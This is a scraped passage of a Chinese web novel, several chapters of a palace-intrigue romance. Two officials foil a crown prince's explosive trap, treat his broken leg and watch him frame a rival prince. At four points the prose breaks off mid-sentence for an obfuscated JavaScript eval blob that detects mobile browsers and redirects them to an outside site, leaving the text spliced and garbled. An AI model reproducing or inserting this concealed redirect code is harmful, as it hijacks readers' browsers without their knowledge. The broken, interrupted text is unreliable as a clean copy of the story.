拐到国事,太子也不好再替人开脱,他指着山的另一面说道:“孤带人去那边找找。” 云暮却不给他机会,率先带人走了:“太子殿下,那边杂草乱石太多,一个小心便会摔下山崖,还是由下官去吧。” “这……殿下还点吗?” 此处是太子亲自为云暮选的埋骨之地,如今人都跑了,还点什么?他一脚把人踹倒:“人都跑了,还点?你是想害死孤吗?” 又踹了几脚出气,才问道:“他不中计,莫不是发现了?” 侍卫起身拍了拍身上的土,信誓旦旦道:“不可能,属下行事隐秘,都是夜半才行动,那会儿别说人了,连个鬼影都没有。” 那他怎么没按预想的计划来? 云暮拨开杂草,发现底下有一个半人高的坑,她派人把几根粗壮的树干丢了下去,发现没有任何问题后,她和沈聿明对视了一眼,假装不察,失足掉了下去。 惊慌失措的呼救声果然把太子吸引了过来,她扶着沈聿明的手,一瘸一拐地从坑里爬出。 见了太子后,她惊慌未定地拍了拍胸口,庆幸道:“殿下,好在落下来的不是您,否则皇上知道下官护主不力,赏一顿板子吃都是轻的。” 话音才落,云暮听到一句得罪了,而后膝盖突然变得清凉,低头一看,是太子身边的侍卫掀了她的裤腿。 细白光洁的腿上沾了泥污,膝盖处还多了擦伤。 沈聿明眸色晦暗,一脚把人踹倒,“什么东西,也敢冒犯大人。” 云暮用被树枝杂草划破的掌心拍了拍他:“放肆,殿下的人,岂是你能随便动手的。” 见他是真摔,太子终于放宽了心,他摆摆手:“无妨,他也不过是护主心切罢了,云大人受了伤,不如先行回驿站?” 云暮有些迟疑,“只是秦王……” 太子打断了他的话:“既然有了踪迹,云大人何须担心,孤多派些人手过来搜山便是。” 云暮这才放心离去:“有劳殿下了。” 沈聿明避开她的手,用清水替她清理伤口:“我不想演戏了。” 云暮侧了侧身,低头看他:“生气了?” 沈聿明偏头,不愿与她对视。 云暮伸手捏住他的下巴,迫使他抬头,沈聿明才要挣脱,就听见她轻嘶了一声,动作当即顿住,又别扭开口:“疼就松手。” 云暮俯身碰了碰他的唇,低声哄道:“他起了疑心,跳下去是最快的方法,而且只是一些擦伤,过两日就好了。” 太子进来时,就看到昨夜那个侍卫蹲在云暮身前,正捧着他手上的手边上药边轻轻吹气,不时问一句疼不疼。 直到他咳了一声,两人的动作才有点收敛,但那侍卫也不过是从蹲着变成站着。 太子:…… 光天化日,朗朗乾坤,真是有伤风化。 将一个白瓷瓶放到桌上,太子说道:“云大人今日之祸算是因孤而起,孤这里正好有一瓶治跌打的伤药,今日用了,明日便可打好,不会让你误了找人之事。” 云暮扒开瓶塞,一股清凉的味道扑鼻而来,“多谢殿下记挂。” 将药递给沈聿明:“收好,晚些时候再给本将军上一回药。” 太子无端从话里听出几分暧昧,他嫌恶起身,“云大人好好养伤,孤还有要事要处理,先告辞了。” 说罢,也不等云暮开口,急匆匆朝门口走去,好像身后有猛兽在追。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632460|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云暮不明所以:“我们又不吃人,他跑什么?” 沈聿明把手中的瓷瓶丢到一旁,三两步上前将门锁住,而后撕了人皮面具,挨着云暮坐下,继续给云暮上药:“谁知道呢,别管他。” 这药一上就是半个时辰,云暮往后仰了仰身子,“别咬了,待会儿还要见人呢。” 沈聿明张口轻咬了她的脸侧,含糊道:“那就不见了。” 话是这么说,但到底没有再继续,把人惹恼了,往后几天别说是肉,就连肉汤都喝不上了。 重新打了盆水给她擦脸,沈聿明就着用过的水胡乱洗了把脸,顶着一张湿漉漉的脸凑到云暮面前,仰着脸不说话。 云暮拿过帕子替他擦脸,摸了摸他脸上的几个红点,“再过几天就好了。” 沈聿明不以为意,揽着她躺在榻上,“今儿起太早了,陪我睡会儿。” 他倒是觉得现在这样不错,做回那个劳什子王爷,就不能 轻易来云暮的房里了。 这还是爹娘离世后,她头一次在别人怀中睡觉,云暮不大习惯。 “睡不着?” 云暮嗯了一声,又动了几下才终于找到一个舒服的姿势。 沈聿明轻轻拍着她的背,低声哼着幼时母妃哄他入睡时唱的歌。 云暮问道:“这歌谣是何意?” 沈聿明拍背的动作一顿,说道:“就是睡吧的意思,快睡,不然本王可要继续方才的事了,到时你再喊停,本王也不会放过你。” 云暮把头埋进他的颈窝,不再说话,呼吸逐渐绵长。 沈聿明轻柔地在她眉心落下一吻,将怀中人搂得更紧,随即也闭上了眼。 再次醒来,已近傍晚。 沈聿明不动声色地揉着发麻的手臂,将人皮面具重新戴在脸上:“想吃什么,我让厨娘去做。” 云暮揉了揉脸,强迫自己清醒,“都行,文竹回来了吗?” “回了,说是已经安排妥当。” 温热的帕子盖在脸上,云暮舒服地眯了眯眼,“那就按我们先前的计划行事。” 第一百一十二章 自作自受 往后几天,太子都没有动作,而沈聿明的记忆也全都恢复了,云暮眉眼飞扬,带着沈聿明漫山遍野地地摘野果,猎野鸡,把东西都摆在那个破烂的小屋里。 小屋的顶上只用几根树枝和蕉叶盖住,勉强当做荫蔽,小屋里连床都没有,也只是用几片蕉叶铺在地上,席地而眠。饶是他当年逃命,都没有过得这么苦。 沈聿明把野果洗净,先是咬了一口,没有想象中的酸,他挑了一个递到云暮嘴边。 “这兔子怎么处理?” 云暮嚼了两下,吐出果核,“今儿给你露一手。” 两人提着野鸡到了河边,沈聿明怕吃不饱,又下了叉了几条鱼,和野兔一道清理干净后才把它们给了云暮。 今儿出门时,云暮特意带上了调味的东西,把调料和肉混在一起,又去林中找了几株带香味的香草一道混了进去。 一刻钟后,才将野鸡和鱼置于火上炙烤,不多时,香味扑鼻。 云暮偏头,看沈聿明双手搭在膝上,喉咙不时滚动,勾了勾唇。 “在江南时,我经常去猎野鸡,拿去庙里当着佛像的面烤了吃,那香味引来了人,不过等他们赶到时,我早就带着烤好的鸡逃之夭夭了,只给他们留下几根尾羽。” “有时我还会跟着他们一起‘捉贼’……” 回想当初那些场面,云暮不由笑出声,“当时怨神佛不给云家公道,便想着借此报复,如今想来,只觉得可笑得很。” 毕竟仇还得是自己亲手报。 沈聿明握住她的手,犹豫要不要把之前查到的事告诉她,但又怕空欢喜一场。 云暮回握住他的手,“我只是想到从前之事罢了,你别多想,同我说说贵妃吧。” 先前怕他分心,于是一拖再拖,现下正是好时机。 沈聿明正了正神色,“她怎么了?” 云暮摇摇头:“现在还不确定,你先同我说说她的往事。” 沈聿明回想了片刻,才缓缓开口:“当时母妃还被父皇养在宫外,那日她趁侍卫不备,偷偷溜出别院,就遇到了卖身葬父的何秋林。” “当时有一个登徒子只给了十文钱就想把何秋林带走,母妃看不过眼,给了何秋林一锭银子,那登徒子见母妃只有一人,又起了邪心,便想着把母妃也一道抢走。” “好在侍卫来得及时,将那登徒子杀了,何秋林便说愿为奴为婢报答母妃恩情,母妃本不愿收她,但她又说家中亲人欲将她卖给一个变态的老头当填房,嫁过去活不过十天。” “母妃心软,就允了她,谁想她竟然背着母妃和父皇暗渡陈仓。不久后,她跟着母妃一道回宫。父皇以保护之名,把怀了身孕的母妃关进了冷宫,每次偷偷来冷宫找母妃后,又和何秋林厮混在一起。” 说到此处,梁文帝怀念他母妃的模样浮现在脑海中,沈聿明只觉得恶心。 “后来她肚子大了,事情才瞒不住,被父皇接出了冷宫。” 再后来,就是那场大火把他的母妃永远留在了冷宫,而后他在外逃了许多年,才勉强保住了命。 云暮捏了捏他的手心,“你怀疑当年的事有贵妃的手笔?” 沈聿明摇了摇头:“不是有她的手笔,我怀疑她就是主使。那场大火之前,她曾经来过冷宫找母妃,她走后,母妃更加沉默,没几天,冷宫就起了一场大火。” “那夜我闻到了松油的味道,那人分明是想置我们于死地,母妃许是知道了什么,让嬷嬷带我从宫中的河道偷潜出城。” “后来听说是母妃自焚身亡,父皇只处置了几个值守的宫女和太监,之后就不了了之。在宫外这些年,刺杀不断,回京后亦有杀手欲取我命。” “那日从云府离开后,他们又折回来找我,被我抓到了几个,一番逼问后,得知是贵妃派他们前来刺杀。” 云暮挑眉,“那伙人是你杀的?” 沈聿明突然住了嘴。 “嗯?” 沈聿明的手心在衣服上蹭了蹭,干笑了两声:“我哪有那个本事,是和钟叔文竹他们在府上布下陷阱,这才把人一网打尽。” 云暮盯了他好一会儿才移开目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632461|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光,没揭穿他,将烤好的鱼递给他后,问道:“贵妃从前就姓何吗?” 沈聿明没太明白她的意思:“什么?” 云暮斟酌道:“有没有可能她改过名字,伪造身份?” …… “云大人,在离河道不远处的一个山涧找到了火堆,疑是王爷留下的。” 云暮猛地放下手中的碗筷,“当真?若是像上次那般胡言乱语,本将军拔了你们的舌头。” “千真万确,在附近还发现了一块雪缎布料,而在江城用得起雪缎的唯有太子和秦王二位殿下。” 云暮在心里冷笑,太子为了诱她过去,真是用尽手段。 山涧两侧皆是石山,一道山泉从中间落下,激起阵阵水花。 还真是巧了,宋枫说的地方,就在山涧的下游。 太子站在外围,而他的人却一直引着云暮深入,云暮嘴角勾起一抹冷笑,毫无察觉地往深处走去。 “嘭”的一声响起,地动山摇,太子的侍卫死死地按住云暮, “云大人,你一路走好,王爷在黄泉路上等你,想来你不会太过孤单。” 云暮嘴角微勾,吹了一个口哨,自她身后跃出几个金吾卫。 “把人丢进去。” 金吾卫捏着一颗石子把人弹晕,而后将人丢进了滚滚而落的巨石中。 血水不断涌出,尖叫声不绝,太子负手而立,望着被山石堵住的涧口,得意一笑。 而他的头顶,一块大石在在火药的冲击下有些松动,最后垂直落下。 “殿下!” 即便侍卫扑身上前,但太子的腿还是被石头压住。等石头搬开时,太子的右腿的布料已经被鲜血染红。云暮站在山上,看着下面的人乱成一锅粥。 她冷笑了一声,“自作孽,不可活。” 得知太子把火药埋在此处时,云暮不是没想过趁乱把他了结了,但最后还是放弃了,许是上天也看不惯他的做派了吧。 等太子被人抬走后,云暮才缓步下山:“走吧,去接王爷。” 第一百一十三章 又失忆了 沿着山涧一路寻找,终于“幸运”地在河流的下游找到了沈聿明。云暮喜极而泣,拿出信物带着“失忆”的沈聿明回了江城。 要不是沈聿明劝他们搬走,又出钱给他们建了房屋,他们大多人被水冲走了。见云暮把沈聿明全须全尾地带了回来,一伙人把他们团团围住,对着沈聿明嘘寒问暖。 沈聿明瑟缩了一下,往云暮身后躲,云暮心道:不愧是失忆过的人,演起这种戏码就跟喝水一样简单。 太子的侍卫得了消息,忙策马来找人,见到云暮和沈聿明时,脸色顿时煞白,就像在青天白日见了鬼一般。 “王……王爷,云大人。” 云暮露出一个恰到好处的笑容,“方才从石头底下爬出时,周围都没人了,太子殿下可是先行回城找人去救本将军了?快去回禀太子,就说本将军找到王爷了。” 侍卫不明白他们的计划怎么会出差错,但眼下不是说这些的时候,他抓着云暮的手,急道:“太子被石头砸了腿,云大人您精通医术,求您救救我们殿下。” 云暮道:“太子不是一直在外围吗,怎么会被石头砸到?” 声音不算太大,但也足以让周围的人听清,皇家争权夺位,而民间亦有分家产,有些聪明的已经听懂了云暮的话外之音。 云暮拨开面前的郎中,跪在了太子的床前,“殿下,下官有罪。” 太子先前被疼晕了过去,如今才刚清醒,见到云暮活生生地跪在他旁边,不禁往床里缩了缩:“你是人是鬼?” 动作间,拉扯到手上的腿,又是一阵人仰马翻。 云暮不明所以:“殿下在说什么,下官当然是人了,不会还伤到头了吧?” 又转头斥一旁的数侍卫:“混账东西,殿下哪儿伤到了都记不清!来人,把他拖出去,打十个板子!” 不知是哪个字戳到太子的痛处,他挣扎起身把云暮揪到身前:“这么多石头,你为什么没死?又为何不来救孤?” 没死也就罢了,还毫发无损,而他却被砸伤了腿,若是腿瘸了,他这辈子都与皇位无缘了! 云暮始料未及,钻心的疼意传来,她心想,膝盖该青了。 一直沉默不语的沈聿明径直上前,掰开太子的手,“松手,她的膝盖撞到床脚了。” 太子的双眼瞪得更大了,“你不是也死了吗?那天的水这么大,你怎么还活着?” 又咬牙道:“原来你不来救孤是为了这个小杂种!” 原本该死的两人一并出现在他面前,太子有些歇斯底里怒吼,在场之人都低下了头,恨不得自割双耳。 云暮把他的话当成耳旁风,“殿下,治腿伤重要。” 太子想再揪住他的衣领,但人被沈聿明紧紧护着,他冷声道:“治不好,你的命也别要了。” 云暮问了郎中几句,得知他们不过是敷了止血的药后,急忙剪开缠好的纱布。 小腿被石头压出一道匕首那般长的红痕,隐隐还在渗血,外伤看着不重。石头从那么高的地方落下,虽然有人替他挡了些力道,但云暮知晓内里的骨头已经断裂。 她轻轻按着伤痕,“殿下,疼吗?” 一路轻按下去,云暮的面色也越发凝重,小腿骨一般都断了,山涧之路既小且陡,太子到了官道才坐上马车,她怒骂:“蠢货,被石头压了腿,怎么还让殿下骑马?” “如今腿骨已断,殿下切莫乱动。” 又吩咐道:“生地黄捣碎,纱布也要浸其汁液,备好竹片。” 她小心翼翼地把大夫涂的伤药都清理干净,将止血散混进捣碎的生地黄中,细细地敷在伤口处,再用纱布裹紧整个小腿,最后又用竹片加以固定。 “殿下,头三天每隔一个时辰就换一次药,往后隔两个时辰换一次,切记勿要乱动,十日后便能痊愈,但还需养上两三个月才可大好。” 太子忙问:“不会落下什么病根吧?” 云暮道:“只要殿下遵医嘱,莫要乱动,自然不会,正常行走无事,只是往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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云暮被沈聿明按在榻上,动弹不得,先前的擦伤才好,如今又青紫的一大块。 她把人往外推:“不是说要假装失忆吗?你刚才怎么回事?” 三日前。 云暮说道:“王爷,不如你再装一次失忆,我们顺势疏远,消了皇上对你的不满?” 沈聿明闻言,虾也不想摸了,手中的石头也被他随意丢在河中。 “他不满就不满,与我何干?从前也未见得他有多得先帝喜欢,不也还是坐上了那个位置?” “你是不是嫌我烦了?还是见了宋枫,你又对他心软了?” 这番说辞把云暮给噎住了:“这事与宋枫有何关系,还有,我何时嫌你烦了?” 沈聿明坐在地上,把云暮揽在怀中,把玩着她的手指:“你总是把我往外推,从前是,现在也是。” 云暮握住他作乱的手,“说正事,别撒娇,如今你拉拢了镇北侯那几个旧部,但光靠他们是不能给镇北侯翻案的。大理寺没有的,藏书阁或许会有。” “镇北侯通敌叛国一事事关重大,此事若是皇上一手策划,他定会留下证据,方便他‘缅怀’故人。” 手足之情在皇家人眼中,不过是上位的工具,先帝如此,梁文帝亦是。 镇北侯一杆长枪将先帝送上了龙椅,但也因为功高震主惹得先帝猜忌。心思藏得再深,也有被人发现的那一天,梁文帝便是那个人。 他开始与镇北侯世子交好,金吾卫在镇北侯府的书房搜出了通敌叛国的证据,侯府一家锒铛入狱时,镇北侯还在西北与敌军厮杀。敌军以一城百姓之命为要挟,命其父子自缢与城墙。 他们死后,京城的消息才传到西北,半个月前,镇北侯府上下几百口人已于菜市口斩首。 就因猜忌,死得何其冤? 云暮往河里丢了一块石头,平静的水面泛起阵阵涟漪:“两年前,他还不去藏书阁,但自从服用过米囊花后,每隔一个月就会去一次。” 从前听他提过几次,当初以为他在感慨镇北侯走错了路,如今回想起来,他更多的是得意。 将昔日高不可攀的人拉入泥潭,在以此作为踏脚石上位,怎能不得意? 沈聿明沉默不语,箍在她腰间的手却越缩越紧,良久,一颗头抵在她的后肩,身后人轻轻嗯了一声。 水声哗啦,唤回云暮的魂。 “你受了伤,我如何能放心得下?” 沈聿明将热毛巾拧干,敷在云暮的膝盖上:“他的腿断了才好!若不是他使阴招害人,怎会引火烧身?害人终害己。” 云暮拔掉木塞,药味充溢着整个房间,“他估计要把这件事按在其他人的头上,不知是知府还是顾家,先等两天,看看他有什么动作。” 沈聿明闷闷地应了一声,抢过云暮手中的药油揉开:“他的腿当真能好?” 云暮好笑地看着他:“王爷是在质疑下官的医术?” 平日里连袋点心他都不舍得让云暮提,短短几日,云暮就伤了两次,还都是因为太子,他如何能不气? “太子的腿必须好,也只能好。” 因她的缘故,梁文帝对沈聿明颇有微词,若太子的腿再有闪失,贵妃和三皇子一党就会势如破竹。 皇后膝下虽然还有一子,但如今也才十岁,能扛什么事?而且,若太子的腿有疾,皇后和丞相定不会轻易就放过她,所以即便不愿,也只能治好他的腿。 对面院子的太子阴郁地盯着被捆成粽子的腿,一动也不敢动。云暮出自药王谷,他的话不可不信。 “把人叫进来。” 这几日替他做事的侍卫跪成了一排,“尾巴都处理干净了?” “处理干净了,保证查不到我们的头上。” 太子阴恻恻地说道:“再把老三的人引过来,让他们坐实了此事。” 他在外辛苦了好几个月,这个人整日除了讨好父皇便是暗中挖他的人,真当他不知道?即便有个贵妃当母妃又如何,还不是身后无人。 沈聿明就更不用说了,先是和云暮私交过密惹得父皇厌恶,如今还失了忆,没能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632463|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直接弄死他们算他们幸运。 对于父皇一手提拔上来的人都敢抢,也不知该不该骂他蠢。 太子倚在床背上,问道:“沈聿明如何了?找几个大夫,让他们看看他是不是真失忆了。” 失忆还能护着云暮,当真稀奇。 “回殿下,王爷自从回了院子就再也没出来过,云大人那边亦是,他们的人盯得紧,属下怕暴露,只敢远远盯着。” 太子点点头,挥退几人:“若是他们私底下有接触,就立即来报孤。” …… 无视沈聿明不允许站起的话,云暮将门窗打开透气,一张人脸突然倒挂出现在窗前,被一巴掌扇了下来。 “大人,是我。” 云暮揉了揉发痛的手,看着面前揉着脸的人,毫无忏悔地说道:“手滑了。” 此人名叫徐文,最擅追踪,家里对其寄予厚望,往其能考取功名光耀门楣,谁知他竟一意孤行入了金吾卫,被骂到有家不敢回,逢年过节留守在布政坊的就是他和云暮两个。 宋枫走后,云 暮就提他上来做了参事,此番南下,云暮便把他带在身后历练,没想人竟然带对了。 “太子那边什么情况?” 徐文顶着那张发红的脸,兴奋地说道:“已经把那几个换成我们的人了,太子的意思是要把这件事扣在三皇子几人的头上。” 他啧啧了两声:“他们可是亲兄弟啊,怎么下得了手的?” 云暮敲了敲他的脑门:“那张椅子上的人哪有什么亲兄弟,继续去盯着吧,有事再来报,再从窗户进来,下次就不只是巴掌了。” 徐文毫不在意,他凑到云暮身边,八卦兮兮地问道:“将军,您觉不觉得王爷的背影有点眼熟?” 云暮斜了他一眼,“怎么,你祖上也出过王爷?” 徐文摆手:“哪能啊,您不觉得他像前几日的沉玉吗?虽说属下没见过几回,但眼瞧着像极了。” 云暮:…… “再多嘴,回了京城后继续打杂。” 第一百一十五章 散心 工部侍郎奉命南下修建堤坝,他握着被冲下来的木头仔细查看,紧锁的眉头能夹死一只苍蝇。 他隐约觉得那些不对,之前与户部对账,每一笔都能对得上,他又安慰自己说想多了。 云暮站在一旁,一言不发。她有心留下这些所剩不多的木料,但这计侍郎都没发现异常,她也不知该说什么好了。 来江城前,摘星阁的差事交给了裴然,作为交换,裴然让其清走堤坝被冲毁的木料,以免被工部的人发现异常。 云暮手里捏着他诸多证据,倒是不担心他会对摘星阁做手脚,只是她原想试探一下皇上对他的态度。若是沈聿明没来,莫说房屋天地,三座城的几万条人命都要少一半,到时皇上还会不会保住裴然。 但她到底不忍看这些无辜的百姓平白丢了性命,所以只能让金吾卫在清理时,“不小心”漏了几根木头,谁想这计侍郎的眼力这般差! “计侍郎,情况便是如此,修建堤坝一事本将军也不懂,就不在这给你添乱了。” 计侍郎低头在纸上勾勒着线条,嘴里低声道:“若是……在此处就好了。” 云暮脚步一顿,计侍郎口中之人便是她之前与沈聿明说过的那对夫妇,之前在药王谷时,她亦撞见过他们,一家三口见了她一如从前。 她到底还是没有说出口,当初他们被那些人伤得颇深,也见了数千人被卷进大水,刚住到药王谷附近的那几载,每隔几日就要来开安神药。 “怎么闷闷不乐的?想回京城了?” 沈聿明听见声音,又偷偷翻进了她的院子,见她丧着个脸,抬手提了提她的嘴角。 云暮顺势扎进他的怀中:“嗯,想十五了。” 许久没见,安叔在信里总说一切都好,从前府中只有几人,即便是好几个月不着家也并未觉得有何不妥,如今多了十五,就多了一份牵挂。 这样不好,但她却不想放手。 工部的人接手江城之事后,按理说他们就能启程回京,但因太子的腿伤未愈,又只能一等再等。 沈聿明不愿看她这副模样,捏了捏她的后脖颈,在人炸毛之前说道:“前几日发现一处好地方,晚些时候你陪我出去走走?” 云暮疑惑道:“什么地方?” “离京前答应一个人,说要陪她去城外散心,正巧今日得空。” 云暮失笑,应了他。 两人伪装了一番,避着人偷偷出了城。 再过几日就回京了,到时和沈聿明就是两条道上的人了。不过转念一想,白日里是陌生的两人,到了只有他们两个人的地方就会同现在这般牵手,甚至…… 而到了人前,又是一副冷淡做派,想想还挺刺激? 沈聿明看着她突然泛红的面颊,还当她是热的,拿出帕子替她擦去额上的汗:“歇一会儿吧。”怕她吸了汗着凉,只轻轻扇着折扇。 虽然到了傍晚,但夕阳还是斜斜地挂在山头上,霞光把半边天都染成了橙色。 沈聿明扯下腰间的水壶,拧开盖子后才递给云暮:“很热?” 云暮摇摇头,接过水壶喝了一口后才想起沈聿明方才也是对着瓶口喝的,脸色红得能滴出血,口中的水也吞咽不及被呛了一口。 沈聿明无奈地拍着她的背,等人缓过之后,又用帕子沾了水给她擦了脸,“急什么?” 云暮心虚,没敢看他,也就没看到沈聿明眼中的打量之色。 沈聿明把人往后一推,将云暮困在树干还有他指尖。方才还在下巴流连的手突然变成了手指,想象中的画面再次浮现在云暮的脑海中,云暮垂眼不敢看他,虚张声势道:“做什么?” 沈聿明轻笑了一声,食指抚着她的下唇,若即若离。 才喝了水的云暮突然有些口干,她抿了抿唇,结果却含住了那根作乱的手指。 沈聿明手上的动作一顿,想把手再往里伸,但又怕冒犯了云暮,很快就将食指抽回。 “我……我没想……” 两人的脸是如出一辙的红。 看他如此紧张,云暮突然就不觉得有什么了,她勾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632464|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着沈聿明的衣领,迫使他低下头,“没想什么?” 沈聿明快速地眨了两下眼,视线落在云暮身后的草上,就是不看她。明明刚才他才是主动的那个,现在怎么反过来了? 他深吸了一口气,打算一鼓作气,下一瞬,一双柔软的唇贴到他的下巴。 云暮察觉他的身子迅速僵住,不禁笑出了声。 沈聿明羞恼道:“不许笑了!” 最后也不知是谁先开了头,等结束时,两人的肩头都落满了白色的花瓣,雪松味也被浓郁的花香覆盖。 两人相携往城里走,脚步越放越缓,脚下的路越越走越短。 沈聿明突然说道:“回了京城也只能像现在这样偷摸地出来玩,我就像你养在外边的见不得人的外室。” 云暮深以为然地点头,“本将军瞧那些世家妇个个都端庄贤淑,你这般恃宠生娇……” 话还没说完,就被沈聿明堵住了嘴,临分开时,下唇还被咬了一口。 沈聿明愤愤开口:“手也摸了,嘴也亲了,便宜都被你占完了,你还想 让谁来当你的正室?堂堂金吾卫上将军难不成要做那始乱终弃,抛弃糟糠之妻的人?” 堂堂王爷给人当外室,还想上位,这很光彩吗?云暮捂住他的嘴,“小点声。” 沈聿明瞧她紧张,冷不丁伸出舌头轻舔了一下她的掌心。 云暮收回手时,还瞥见了沈聿明还未收进去的舌尖,她的双目在濡湿的掌心和沈聿明之间游走了好几次,最后还是没忍住,说出了那句憋在心里很久的话:“你真的很像阿黄!” 这名字有些耳熟,沈聿明福至心灵地想起从前和钟叔下山时,对方见了路边的小黄狗,都要嘬嘬几声,再叫一声大黄。 他眯起双眼,“你骂我是狗?” 云暮无辜道:“没有啊,你说什么啊,阿黄是我从前的邻居。” 沈聿明想起从前云暮揉他脑袋时的手法,心里更加坚定这个想法,见云暮憋笑的坏模样,他手一勾,将她的笑声隐在了唇齿间。 第一百一十六章 屈打成招 “云将军,太子殿下查到,这伙人提前埋好火药,又用王爷的消息把殿下和您引到山涧。” “太子殿下,云将军,冤枉啊!” 太子的屋里,云暮正检查着太子的伤势,侍卫拎着几个人走了进来,她只看了一眼,又继续给太子换药。 太子见云暮不语,只好问道:“怎么把知府还有顾老爷也抓来了?” 侍卫解释道:“回殿下,硝石是知府大人给的,硫磺则出自顾老爷之手。” 云暮微微挑眉,太子才到江城时,不知上下打点了多少关系,现在事情了了,这是要清算了? 狡兔死,走狗烹。 云暮替他包扎好伤口后,叮嘱道:“殿下,如今腿骨正在愈合,但还需再卧床静养一段时日。” 说完走到刚进门的几人身旁,仔细打量:“他们是谁?殿下和本将军与他们无冤无仇,为何要加害我们?” 侍卫不知该不该说,于是看向了太子。 太子不悦道:“云大人问什么,你们答什么就是了,看孤做什么?” 侍卫低头说道:“是……是三殿下的人。” 这话一出,方才一直在喊冤的知府都住了嘴。 云暮虽然早已知晓,但她还是配合地惊呼了一声:“三殿下的人怎么会在此处?你们莫不是胡乱攀扯?” 太子的身子微微前倾,观察着他的表情,见他当真不知,才示意侍卫解释。 侍卫说道:“属下奉殿下之命带人在全城搜查,偶然发现了这伙人,他们见了我们便慌慌张张要逃跑,属下猜测他们心中有鬼,抓起来拷问了一番,才得知他们的身份。” 说罢,侍卫从中间那人的怀里掏出了一枚令牌,上面赫然刻着“梁承熙”三字。 云暮从太子手里接过令牌,翻看了几下,又掂了掂重量,太子还真是有点本事,也不知道他怎么在这么短的时间里拿到三皇子的东西,想来到时三皇子那边也会凭空出现几封信。 侍卫又道:“他们是附近山上的流寇,平日里欺男霸女,专干抢掠的勾当,属下在他们的老巢找到了几封书信,呈给殿下看后,发现确实是三殿下的字迹。” 地上跪着的几人除了知府都被堵住了嘴,闻言呜呜了几声,但什么都说不出来。 太子叹了一声,愧疚道:“老三平日里对孤尊敬有加,也不知孤做过什么让他误会的事,他才对孤下此狠手,还牵连到了云大人。” 说完,他觑了一眼云暮,夺位之争,谁也别想独善其身,但他也怕云暮发现疑点,禀明梁文帝。 对于云暮来说,只要与沈聿明无关,这帽子扣在谁的头上对她来说都无所谓。更何况贵妃在京中几次三番给她下绊子,正好给她找些事做,免得整日盯着摘星阁不放。 她假惺惺地宽慰道:“殿下是大梁储君,怎能事事顾及,三殿下年岁尚小,贵妃如今身怀龙胎,无暇顾及,这才致三殿下被有心之人唆使,走错路也是难免。” 说完,她看向太子,会心一笑,将这个罪名牢牢扣在了三皇子的头上。 太子意会,他们人在江城,梁承熙还能受谁唆使?两人把目光同时放在知府和顾老爷身上。 知府往前跪行了几步,“殿下,冤枉啊,下官与您是一条心的,怎么会唆使三殿下害您呢?” “殿下,当初……” 云暮还在此处,太子生怕知府说出什么不该说的话,立即让侍卫堵住他的嘴,他拍了拍手:“把人带进来。” 又一个侍卫推搡着几人进了屋,让本就逼仄的小屋变得更加拥挤。 云暮指着那伙流寇说道:“把他们带下去。”可别耽误了她看戏。 太子问道:“知府大人,你仔细看看,这几个是不是你府上的人?” 知府还当是太子改了主意,嘴里的抹布才被拿出,他立即否认道:“殿下,这几个绝对不是下官府上的人。” 太子对着那几人说道:“把你们只道的都说出来。” 几人吞吞吐吐:“小人奉知府大人的命令,将硝石运至那个茅草屋,但小人的确不知他是要制火药加 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太子看也不看:“给云大人过过目。” 云暮只扫了一眼,恭维道:“殿下断案如神,他们既已认罪,那抄家之事?” “那就麻烦云大人了。” 等云暮走后,太子找来了盯梢的侍卫,“沈聿明和云暮这几日如何了?” 侍卫回想了片刻,说道:“云大人多次求见秦王殿下,但都吃了闭门羹。” 太子冷笑,“难怪跑来向孤投诚,这些阉人还真是唯利是图,一个靠山倒了,又马不停蹄地再找一个。” 他的手指在床上轻点了几下,“大夫怎么说?” “秦王确实伤到了脑袋,颅内瘀血不散,他的记忆便不能恢复,就算淤血散去……” 